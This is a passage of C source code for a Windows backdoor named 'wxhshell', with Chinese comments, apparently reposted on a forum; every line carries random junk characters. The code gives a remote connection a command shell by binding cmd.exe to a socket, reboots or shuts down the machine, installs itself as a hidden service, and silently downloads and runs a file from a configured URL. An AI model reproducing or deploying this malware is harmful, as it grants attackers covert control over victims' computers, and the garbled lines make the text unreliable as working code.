  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wK_]/Q-L  
  } <UP m=Hb  
  else { r=uN9ro  
o{qr!*_3  
    switch(cmd[0]) { [Nm4sI11  
  Sjj>#}U  
  // 帮助 =8Jfgq9E  
  case '?': { M~e0lg8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); k%c{ETdE  
    break; dUrElXbXd  
  } rqPo)AL  
  // 安装 d*8 $>GA  
  case 'i': { @$^bMIj@W  
    if(Install()) DTRJ/ @t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  mEG6  
    else  uF|3/x=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n.MRz WJpZ  
    break; gmKGy@]  
    } =W bOwI)u  
  // 卸载 Bq\F?zk<  
  case 'r': { p9!"O  
    if(Uninstall()) Jzji&A~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t_z>Cl^u  
    else %M F;`;1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K7knK  
    break;  fE f_F r  
    } $``1PJoi  
  // 显示 wxhshell 所在路径 !LMN[3M_  
  case 'p': { Dr&('RZ4  
    char svExeFile[MAX_PATH]; 1@48BN8cm'  
    strcpy(svExeFile,"\n\r"); "Mw[P [w*  
      strcat(svExeFile,ExeFile); 7"F*u :  
        send(wsh,svExeFile,strlen(svExeFile),0); #AkV/1Y  
    break; h0--B]f@  
    } @}p2aV59  
  // 重启 (tah]Bx  
  case 'b': { w27KI]%(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }U~6^2 .,  
    if(Boot(REBOOT)) ?liK\C2Z<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lz#GbXn.  
    else { V]OmfPve  
    closesocket(wsh); - Xu.1S  
    ExitThread(0); z<sg0K8z63  
    } QZp6YSz.4  
    break; : JzI>/  
    } ,j;m!V  
  // 关机 )UgX3+@  
  case 'd': { (s<Dd2&.H  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [v7^i_d  
    if(Boot(SHUTDOWN)) $E<Esf$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fqX"Lus `=  
    else { y.5/?{GL  
    closesocket(wsh); }VS3L_ ;}/  
    ExitThread(0); oF9 -&  
    } Va,<3z%O<  
    break; lt^\  
    } LZJA4?C  
  // 获取shell Ee)[\Qjn  
  case 's': { =L%DX#8  
    CmdShell(wsh); FMNm,O]  
    closesocket(wsh); ~CB[9D=  
    ExitThread(0); .7'kw]{/  
    break; 0N[&3Ee8  
  } d2oh/j6`TA  
  // 退出 WARb"8Kg  
  case 'x': { \P} p5k[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); n55Pv3}C  
    CloseIt(wsh); v(*C%.M)  
    break; 9CA^B2u  
    } f.aSKQD  
  // 离开 q{s(.Uq$&  
  case 'q': { 0q>P~] Ow  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); D']ZlB 'K  
    closesocket(wsh); bwVPtu`  
    WSACleanup(); yKYUsp  
    exit(1); Qy<[7  
    break; gmIqT f  
        } /27JevE  
  } 2LrJ>Mi  
  } ~$' \L  
Fc~'TBf,,`  
  // 提示信息 QK0 h6CX  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }kw/W#)J  
} kKD`rfyG \  
  } #-pc}Y|<  
7g R@$(1Z  
  return; 4&8Gr0C  
} P\8@g U!uk  
FX9F"42@  
// shell模块句柄 SH*C"  
int CmdShell(SOCKET sock) :[ k4Z]t8  
{ +k dT(7  
STARTUPINFO si; `cPywn@uGZ  
ZeroMemory(&si,sizeof(si)); REZJ}%}/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S3L~~X/=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; obdFS,JxxG  
PROCESS_INFORMATION ProcessInfo; [ W2fd\4  
char cmdline[]="cmd"; 91Uj}n%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); iX0iRC6f  
  return 0; u6`=x$&  
} xs\!$*R  
 K;LZ-  
// 自身启动模式 $P1O>x>LIL  
int StartFromService(void) N`)$[&NG]  
{ b-3*Nl_%  
typedef struct '9c2Q/  
{ jiF?fX@  
  DWORD ExitStatus; U4 13?Pe  
  DWORD PebBaseAddress; 'J,T{s1J  
  DWORD AffinityMask; 83;NIE;  
  DWORD BasePriority; Hm+ODv9  
  ULONG UniqueProcessId; aM7uBx\8 5  
  ULONG InheritedFromUniqueProcessId; sA gKg=)  
}   PROCESS_BASIC_INFORMATION; kdb(I@6  
F4<O2!V  
PROCNTQSIP NtQueryInformationProcess; ?<G]&EK~~]  
B||;'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .VTy[|o   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; K}6dg<  
Cy*|&=>j  
  HANDLE             hProcess; l>Ub!^;  
  PROCESS_BASIC_INFORMATION pbi; )lJao  
,f1q)Qf  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >~K qg~  
  if(NULL == hInst ) return 0; @ym/27cRE  
^z,_+},a3T  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); iCHt1VV]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Bi@&nAhn@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `/HUV&i"S  
WM)-J^)BJ  
  if (!NtQueryInformationProcess) return 0; 9;?UvOI;  
54rkC/B>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); C> [ Uvc  
  if(!hProcess) return 0; _|"Y]:j_  
g;ZxvR)ZJk  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ICAH G7,  
Me6+~"am/  
  CloseHandle(hProcess); lN9=TxH1(;  
c)@>zto#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c5|:,wkx  
if(hProcess==NULL) return 0; 0\2\*I}?  
K \vSB~{ [  
HMODULE hMod; Ela-,(Glk  
char procName[255]; M-i_#EWP  
unsigned long cbNeeded; &Q}*+Y]G  
Xn~I=Ml d  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $.Q$`/dF  
zni)<fmju  
  CloseHandle(hProcess); Isx#9C  
191&_*Xb  
if(strstr(procName,"services")) return 1; // 以服务启动 #GJ dZ  
E*?<KZe"  
  return 0; // 注册表启动 \6;=$f/?t  
} 4mn&4e  
y>*xVK{D  
// 主模块 S$2b>#@UJ  
int StartWxhshell(LPSTR lpCmdLine) K(XN-D/c  
{ 8u!"#S#>a  
  SOCKET wsl; &YDK (&>  
BOOL val=TRUE; JsO *1{6g  
  int port=0; "bDs2E+W  
  struct sockaddr_in door; d&#~ h:~  
>a3p >2  
  if(wscfg.ws_autoins) Install(); V5U?F6  
vSonkJ_  
port=atoi(lpCmdLine); 3_q3Bk  
6rS$yjTX!  
if(port<=0) port=wscfg.ws_port; 9:I6( Zv0  
6i0A9SN  
  WSADATA data; w1UA?+43  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; w,Ee>cV]a  
WW~+?g5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   G|\^{ 5   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); f<A5?eKw  
  door.sin_family = AF_INET; W d0NT@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \P1=5rP  
  door.sin_port = htons(port); WoxwEi1~0  
0j C3fT!n  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { M`6y@<  
closesocket(wsl); h5yzwj:C?  
return 1; :UJa&$)  
} wCk~CkC?  
P]z[v)}  
  if(listen(wsl,2) == INVALID_SOCKET) { ]jpu,jz:  
closesocket(wsl); b~-%c_  
return 1; <9> vO,n  
} ]:34kE}e5  
  Wxhshell(wsl); kp\\"+,VC  
  WSACleanup(); t\$U`V)  
R-^96fFBy  
return 0; r\;ut4wy  
M@W[Bz  
} _w*}\~`=^  
I5h[%T  
// 以NT服务方式启动 [%&ZPJT%i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) % >;#9"O4  
{ XR!us/U`a  
DWORD   status = 0; n<B<93f/  
  DWORD   specificError = 0xfffffff; /pp1~r.s?>  
j1 =`|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; cwV]!=RtO  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5[n(7;+gw  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; gl&5l1&  
  serviceStatus.dwWin32ExitCode     = 0; h~wi6^{&Y  
  serviceStatus.dwServiceSpecificExitCode = 0; 5{$LsL  
  serviceStatus.dwCheckPoint       = 0; e$Y[Z{T5  
  serviceStatus.dwWaitHint       = 0; GA`PY-Vs)  
e *j.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ZtHm\VTS  
  if (hServiceStatusHandle==0) return; lD{Aa!\  
?uMQP NYs  
status = GetLastError(); {D g_?._d  
  if (status!=NO_ERROR) HHjt/gc}`  
{ Lr`1TH,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; DQwGUF'(  
    serviceStatus.dwCheckPoint       = 0; y$<Vha  
    serviceStatus.dwWaitHint       = 0; ttXjn  
    serviceStatus.dwWin32ExitCode     = status; L,; D@Xi  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9C t`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ud fe  
    return; ddVa.0Z!<  
  } NzKUtwnIz  
T;L>P[hNn  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <5=JE*s$NS  
  serviceStatus.dwCheckPoint       = 0; e|4&b@  
  serviceStatus.dwWaitHint       = 0; >R/$1e1Y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #P#-xz  
} 7w;O}axI  
s( <uo{  
// 处理NT服务事件,比如:启动、停止 6!^[];%xN  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %P;Q|v6/|  
{ .WQ<jZt>  
switch(fdwControl) 4 g. bR  
{ [7m1Q<  
case SERVICE_CONTROL_STOP: 5X.e*;  
  serviceStatus.dwWin32ExitCode = 0; c"!lwm3b  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Vx_rc%'  
  serviceStatus.dwCheckPoint   = 0; B^D(5  
  serviceStatus.dwWaitHint     = 0;  ;v  
  { 0ult7s}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !6&W,0<  
  } *Ywpz^2?:  
  return; v}^5Rp&m  
case SERVICE_CONTROL_PAUSE: .yENM[-bQ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,7,g%?_P  
  break; N)% ;jh:T  
case SERVICE_CONTROL_CONTINUE: qW 1V85FG  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; VGL#!4wK  
  break; p1c3Q$>i  
case SERVICE_CONTROL_INTERROGATE: bN^O }[  
  break; '2zL.:~  
}; \8O O)98'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^% Q|s#w.  
} p#f+P?  
t0:AScZY   
// 标准应用程序主函数 4;`Bj:.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) SvvUkQ#1w  
{ -VDo[Zy  
vhr+g 'tf  
// 获取操作系统版本 T2 ?HRx  
OsIsNt=GetOsVer(); b{DiM098  
GetModuleFileName(NULL,ExeFile,MAX_PATH); h  x6;YV  
c':ezEaC  
  // 从命令行安装 =\)IaZ  
  if(strpbrk(lpCmdLine,"iI")) Install(); PZ8U6K'  
Bqws!RM'&@  
  // 下载执行文件 m xw dugr`  
if(wscfg.ws_downexe) { 1gO2C $  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) a=GM[{og  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8|twV35  
} i54md$Q^  
1-I Swd'u  
if(!OsIsNt) { R4%P:qM  
// 如果时win9x,隐藏进程并且设置为注册表启动 q&'Lbxc>c  
HideProc();  'k&?DZ!  
StartWxhshell(lpCmdLine); F)$K  
} c.H?4j7ga  
else Jeqxspn T  
  if(StartFromService()) J3S&3+2G  
  // 以服务方式启动 _baYn`tFw-  
  StartServiceCtrlDispatcher(DispatchTable); M/V(5IoP (  
else 2^exL h  
  // 普通方式启动 Q"a2.9Eo  
  StartWxhshell(lpCmdLine); dw@E)  
e{G_GycH  
return 0; #:3r4J%+~  
}
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只看该作者 1 发表于: 2006-10-10
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